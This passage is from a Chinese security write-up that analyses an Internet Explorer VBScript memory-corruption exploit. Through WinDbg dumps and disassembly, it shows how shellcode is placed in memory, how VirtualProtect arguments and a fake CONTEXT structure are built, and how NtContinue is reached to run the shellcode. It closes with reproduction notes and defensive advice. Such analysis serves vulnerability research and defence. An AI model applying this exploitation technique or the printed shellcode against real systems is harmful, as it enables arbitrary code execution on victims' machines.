41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0393da94 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0393daa4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA //源碼:result=result &EscapeAddress(ShellcodeAddrParam) 將shellcode地址放到字符串後面 0:005> dd 0393da34+10FDC lc 0394ea10 0265002c 00000000 00000000 00000000 //0265002c是shellcode的地址 0394ea20 f117622e 0007b655 003bb6d0 0035db68 0394ea30 00000000 00000000 00000000 00000000 //shellcode地址由於重新調試與上面地址不一樣,但是可以看到確實是shellcode的代碼 0:005> db 0265002c 0265002c fc e8 82 00 00 00 60 89-e5 31 c0 64 8b 50 30 8b ……`..1.d.P0. 0265003c 52 0c 8b 52 14 8b 72 28-0f b7 4a 26 31 ff ac 3c R..R..r(..J&1..< 0265004c 61 7c 02 2c 20 c1 cf 0d-01 c7 e2 f2 52 57 8b 52 a|., …….RW.R 0265005c 10 8b 4a 3c 8b 4c 11 78-e3 48 01 d1 51 8b 59 20 ..J<.L.x.H..Q.Y 0265006c 01 d3 8b 49 18 e3 3a 49-8b 34 8b 01 d6 31 ff ac …I..:I.4…1.. 0265007c c1 cf 0d 01 c7 38 e0 75-f6 03 7d f8 3b 7d 24 75 …..8.u..}.;}$u 0265008c e4 58 8b 58 24 01 d3 66-8b 0c 4b 8b 58 1c 01 d3 .X.X$..f..K.X… 0265009c 8b 04 8b 01 d0 89 44 24-24 5b 5b 61 59 5a 51 ff ……D$$[[aYZQ. //接下來開始為 VirtualProtect 構造參數: //result=result &EscapeAddress(ShellcodeAddrParam) 0:005> dd poi(esp+c) lc 0055e470 0212004a 024dcc24 02129da8 0055cab0 0055e480 02110008 00000004 0392ca3c 6e5d0001 0055e490 00000000 02108298 0037a1bc 0055f5cc 0055e4a0 024dd0b0 0055e4d0 02650008 024dc9d4 0:005> dd 02129da8 lc 02129da8 02120008 024dcc24 0393da34 0055cab0 02129db8 00000000 00000000 655fbbf0 0c04fced 02129dc8 00000000 00550050 00000000 0055f698 0:005> dd 0393da34 lc //1–lpAddress:修改的基地址(也是上面字符串的起始地址)0393da34 41414141 41414141 41414141 41414141 0393da44 41414141 41414141 41414141 41414141 0393da54 41414141 41414141 41414141 41414141 //result=result &EscapeAddress(&h3000) ‘2–dwSize: size //result=result &EscapeAddress(&h40) ‘3–flNewProtect:PAGE_EXECUTE_READWRITE //result=result &EscapeAddress(ShellcodeAddrParam-8) ‘4–pflOldProtect: 內存原始屬性保存地址 //result的值在不停的變化 0:005> dd 0392ca3c +10fdc 0393da18 0265002c 0265002c 00003000 00000040 0393da28 02650024 08060000 00010fe8 41414141 //result=result &String(6,Unescape(“%u4242”)) ‘重復 12個「*」 0:005> dd 0394ea5c +10fdc 0395fa38 0265002c 0265002c 00003000 00000040 0395fa48 02650024 42424242 42424242 42424242 //result=result &StructWithNtContinueAddr ‘ 3*0x00+4*NtContinue函數地址+0x00 //StructWithNtContinueAddr 函數是將\x00 與NtContinue 函數地址形成了一個拼接, 0:005> dd 0392ca3c +10fdc 0393da18 0265002c 0265002c 00003000 00000040 0393da28 02650024 42424242 42424242 42424242 0393da38 68000000 68776a55 68776a55 68776a55 //NtContinue的函數地址是 776a5568,68位置不太對看起來有點怪異 0393da48 00776a55 41410000 41414141 41414141 0393da58 97174369 0006b5af 002d00c4 003bb6d0 0393da68 41414141 41414141 41414141 41414141 0393da78 41414141 41414141 41414141 41414141 0393da88 41414141 41414141 41414141 41414141 //result=result &String((&h80000-LenB(result))/2,Unescape(“%u4141″)) //把除了當前的result有效的位置外的地方全部寫成”A” //最終的效果是: 0:005> dd 02b70024 +10fdc 02b81000 0265002c 0265002c 00003000 00000040 //依次為 shellcode 地址,VirtualProtect四個參數 02b81010 02650024 42424242 42424242 42424242 02b81020 68000000 68776a55 68776a55 68776a55 //NtContinue 的函數地址 02b81030 00776a55 41414141 41414141 41414141 02b81040 41414141 41414141 41414141 41414141 02b81050 41414141 41414141 41414141 41414141 02b81060 41414141 41414141 41414141 41414141 02b81070 41414141 41414141 41414141 41414141
繼續往下走: SetMemValue VirtualProtectCallParameters(ShellcodeAddr)
//SetMemValue函數內的IsEmpty斷點: 0:005> dd 0037a1bc 0037a1bc 00000002 00000000 02110008 02105c94 0037a1cc 01dc0024 40000000 0037a1e4 7cd33254 //01dc0024是VirtualProtectCallParameters函數返回的地址 0037a1dc 88006c6c 00000000 00000000 00000000 0037a1ec 00000000 00000000 00000000 00000000 0037a1fc 00000000 7cd3322f 8000e984 77110106 0037a20c 00000000 771246e2 00000017 0037a208 0037a21c 00000000 00000000 00000000 7cd3322a 0037a22c 88005668 00000000 00000000 00350000 //lIlll=GetMemValue+0x10FDC 0:005> dd 0037a1bc 0037a1bc 02120002 02129db8 02b70003 6e5d1684 //更改類型為Long 0037a1cc 01dc0024 40000000 0037a1e4 7cd33254 //返回01dc0024地址 0037a1dc 88006c6c 00000000 003b2f48 77737560 0037a1ec 00379f90 00000000 00000000 00000000 //lIlll 得到這片特殊環境的首地址 01dd1000 0:005> dd 01dc0024 +10fdc 01dd1000 0265002c 0265002c 00003000 00000040 01dd1010 02650024 42424242 42424242 42424242 01dd1020 68000000 68776a55 68776a55 68776a55 01dd1030 00776a55 41414141 41414141 41414141
執行 SetMemValue ExpandWithVirtualProtect(lIlll):
先看 ExpandWithVirtualProtect(lIlll) 函數
//ntContinuePtr=structForVirtualProtect+&h23 加的23剛好是 NtContinue 地址,這個值終於正常了 0:005> dd 01dd1000+23 l8 01dd1023 776a5568 776a5568 776a5568 776a5568 01dd1033 41414100 41414141 41414141 41414141 //result=result &String((&hb8-LenB(result))/2,Unescape(“%4141”)) 0:005> dd poi(esp+c) lc 0055e460 0000004a 00000000 02129da8 00000000 0055e470 02b70003 6e5d1684 01dd1023 40000000 0055e480 024d0008 024dc9f0 00307044 40000000 0:005> dd 02129da8 lc 02129da8 00000008 00000000 003a502c 00000000 02129db8 00000000 00000000 655fbbf0 0c04fced 02129dc8 00000000 00550050 00000000 0055f698 0:005> dd 003a502c 003a502c 01dd1023 00410041 00410041 00410041 //0041填充 003a503c 00410041 00410041 00410041 00410041 003a504c 00410041 00410041 00410041 00410041 003a505c 00410041 00410041 00410041 00410041 003a506c 00410041 00410041 00410041 00410041 003a507c 00410041 00410041 00410041 00410041 003a508c 00410041 00410041 00410041 00410041 003a509c 00410041 00410041 00410041 00410041 //result=result &EscapeAddress(VirtualProtectAddr) 0:005> dd poi(esp+c) 0055e460 024d004a 6e5d196a 02129da8 024dcdf4 0055e470 02b70003 6e5d1684 01dd1023 40000000 0055e480 02110008 00000004 003a502c 6e5d0001 0055e490 00000000 02108298 0037a1bc 0055f5cc 0055e4a0 024dd0b0 0055e4d0 00010fdc 40000000 0055e4b0 02b7400c 6e5d1684 00552650 40000000 0055e4c0 024d0000 0055e5d0 00000000 00000000 0055e4d0 024dd2f4 0055e5d0 02129da8 02107c7c 0:005> dd 02129da8 lc 02129da8 024d0008 6e5d196a 00307044 024dcdf4 02129db8 00000000 00000000 655fbbf0 0c04fced 02129dc8 00000000 00550050 00000000 0055f698 0:005> dd 00307044 l8 00307044 01dd1023 00410041 00410041 00410041 00307054 00410041 00410041 00410041 00410041 0:005> dd 00307044 +90 lc 003070d4 00410041 00410041 00410041 00410041 003070e4 00410041 00410041 00410041 00410041 003070f4 00410041 00410041 758e22bd d5ff0000 //加入 VirtualProtect 地址(758e22bd) //下面幾步分別在字符串後面拼接了 0xb1、0x00、構造好的構造VirtualProtect環境、0x23 //result=result &EscapeAddress(&h1b) //result=result &EscapeAddress(0) //result=result &EscapeAddress(structForVirtualProtect) //result=result &EscapeAddress(&h23) //我們直接看拼接後的結果;其實這是一個CONTEXT的結構體: 0:005> dd 0036e84c l100 0036e84c 01dd1023 00410041 00410041 00410041 //01dd1023 中保存的是連續4個 NtContinue 函數地址 0036e85c 00410041 00410041 00410041 00410041 0036e86c 00410041 00410041 00410041 00410041 //中間0x0041填充 0036e87c 00410041 00410041 00410041 00410041 0036e88c 00410041 00410041 00410041 00410041 0036e89c 00410041 00410041 00410041 00410041 0036e8ac 00410041 00410041 00410041 00410041 0036e8bc 00410041 00410041 00410041 00410041 0036e8cc 00410041 00410041 00410041 00410041 0036e8dc 00410041 00410041 00410041 00410041 0036e8ec 00410041 00410041 00410041 00410041 0036e8fc 00410041 00410041 758e22bd 0000001b //後面是 VirtualProtect 地址 758e22bd 0036e90c 00000000 01dd1000 00000023 43434343 //01dd1000 構造好的構造VirtualProtect環境 0036e91c 43434343 43434343 43434343 43434343 0036e92c 43434343 43434343 43434343 43434343 0036e93c 43434343 43434343 43434343 43434343
SetMemValue ExpandWithVirtualProtect(lIlll) 然後進入 SetMemValue 把這片空間放到 spec_int_1+8 的位置:
0:005> dd 0037a1bc lc 0037a1bc 02120002 02129db8 02110008 00000004 0037a1cc 0391442c 6e5d0001 0037a1e4 7cd33254 //0391442c 內是上面構造好的內存0037a1dc 88006c6c 00000000 003b2f48 77737560 0:005> dd 0391442c 0391442c 01dd1023 00410041 00410041 00410041 0391443c 00410041 00410041 00410041 00410041 .. .. 039144dc 00410041 00410041 758e22bd 0000001b 039144ec 00000000 01dd1000 00000023 43434343 039144fc 43434343 43434343 43434343 43434343
llIIll=GetMemValue 進入 GetMemValue 更換類型為 Long:
0:005> dd 0037a1bc lc 0037a1bc 02120002 02129db8 00360003 6e5d1684 //更改類型為Long0037a1cc 0391442c 6e5d0001 0037a1e4 7cd33254 0037a1dc 88006c6c 00000000 00000000 00000000
PoC中:最終的 ExecuteShellcode 函數
cla4_obj1.mem(spec_int_1)=&h4d cla4_obj1.mem(spec_int_1+8)=0 //PoC的運行就在於0x4d、0這兩個值: 0:005> dd 0037a1bc lc 0037a1bc 00000002 02108298 0037004d 0055f5cc //先把 0x0037004d 修改為了 4d 0037a1cc 0391442c 6e5d0001 0037a1e4 7cd33254 //再把0391442c–>0,在這里看不到,因為修改後直接調用 vb!VAR::Clear 函數了 0037a1dc 88006c6c 00000000 003b2f48 77737560
我們看一下 vb!VAR::Clear 的一些邏輯;
//(到這里winbdg重啟了一次,地址有所變化) .text:6E4F17F0 mov edi, edi .text:6E4F17F2 push esi .text:6E4F17F3 mov esi, ecx //進來 Clear 函數 ecx保存的就是類型地址,那麼我們構造的地址就在[ecx+8]的地方 .text:6E4F17F5 movzx ecx, word ptr [esi] // ds:0023:002dbf0c=004d .text:6E4F17F8 movzx eax, cx .text:6E4F17FB push edi .text:6E4F17FC xor edi, edi .text:6E4F17FE sub eax, 49h //減去0x49h .text:6E4F1801 jz loc_6E508B62 .text:6E4F1807 sub eax, 3 //減去0x03 .text:6E4F180A jz loc_6E4F4A63 .text:6E4F1810 dec eax //自減 0x01 .text:6E4F1811 jz loc_6E50089C //所以 esi==0x4d 的話這里要跳轉 .text:6E4F1817 dec eax … 跳轉後 .text:6E50089C mov eax, [esi+8] ds:0023:002dbf14=0310a914 //0310a914 是刻意構造的那片內存 .text:6E50089F test eax, eax .text:6E5008A1 jz loc_6E4F1843 .text:6E5008A7 mov ecx, [eax] ds:0023:0310a914=01fb1023 //01fb1023 中保存的是連續4個 NtContinue 函數地址 .text:6E5008A9 push eax .text:6E5008AA call dword ptr [ecx+8] //[ecx+8]當然也是 NtContinue 函數地址 .text:6E5008AD jmp loc_6E4F1843 //所以它構造的0x4d這個值,原因是其餘的跳轉無法構造好寄存器的值
看下 CONTEXT 的結構與我們那片內存對照一下:
0:005> dt !CONTEXT uxtheme!CONTEXT +0x000 ContextFlags : Uint4B +0x004 Dr0 : Uint4B +0x008 Dr1 : Uint4B +0x00c Dr2 : Uint4B +0x010 Dr3 : Uint4B +0x014 Dr6 : Uint4B +0x018 Dr7 : Uint4B +0x01c FloatSave : _FLOATING_SAVE_AREA +0x08c SegGs : Uint4B +0x090 SegFs : Uint4B +0x094 SegEs : Uint4B +0x098 SegDs : Uint4B +0x09c Edi : Uint4B +0x0a0 Esi : Uint4B +0x0a4 Ebx : Uint4B +0x0a8 Edx : Uint4B +0x0ac Ecx : Uint4B +0x0b0 Eax : Uint4B +0x0b4 Ebp : Uint4B +0x0b8 Eip : Uint4B +0x0bc SegCs : Uint4B +0x0c0 EFlags : Uint4B +0x0c4 Esp : Uint4B +0x0c8 SegSs : Uint4B +0x0cc ExtendedRegisters : [512] UChar 0:005> dd 0036e84c l100 0036e84c 01dd1023 00410041 00410041 00410041 //01dd1023 +0x000 ContextFlags 0036e85c 00410041 00410041 00410041 00410041 0036e86c 00410041 00410041 00410041 00410041 0036e87c 00410041 00410041 00410041 00410041 0036e88c 00410041 00410041 00410041 00410041 0036e89c 00410041 00410041 00410041 00410041 0036e8ac 00410041 00410041 00410041 00410041 0036e8bc 00410041 00410041 00410041 00410041 0036e8cc 00410041 00410041 00410041 00410041 0036e8dc 00410041 00410041 00410041 00410041 0036e8ec 00410041 00410041 00410041 00410041 0036e8fc 00410041 00410041 758e22bd 0000001b // +0x0b8 Eip :VirtualProtect 758e22bd 0036e90c 00000000 01dd1000 00000023 43434343 // +0x0c4 Esp : 構造好的VirtualProtect 參數 0036e91c 43434343 43434343 43434343 43434343 0036e92c 43434343 43434343 43434343 43434343 0036e93c 43434343 43434343 43434343 43434343
小結:
所以是從VAR::Clear 中調用了 ntdll!ntContinue,而且又仿造好了一個了 CONTEXT結構體,這樣利用 ntdll!ntContinue還原了一個假的進程。
且 eip 就是 VirtualProtect,而棧空間esp是前面準備好的,返回值為shellcode入口,VirtualProtect的執行參數也是shellcode區域,最後VirtualProtect函數執行完,直接返回到shellcode的開始處開始執行。
四、復現過程
復現環境:Win7 x86sp1,IE8.0.7601.17514
使用Github的PoC,在上述背景內的環境下直接IE打開即可復現:
五、防護建議
如果要預防此類型漏洞,提供以下建議:
1,微軟也已經放棄了vb,edr 或其他安全廠商可以考慮禁用vb腳本,以避免其造成的安全隱患
2,VirtualProtect 函數,檢查參數。
1,微軟也已經放棄了vb,edr 或其他安全廠商可以考慮禁用vb腳本,以避免其造成的安全隱患
2,VirtualProtect 函數,檢查參數。
*本文原創作者:Lostpoet,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載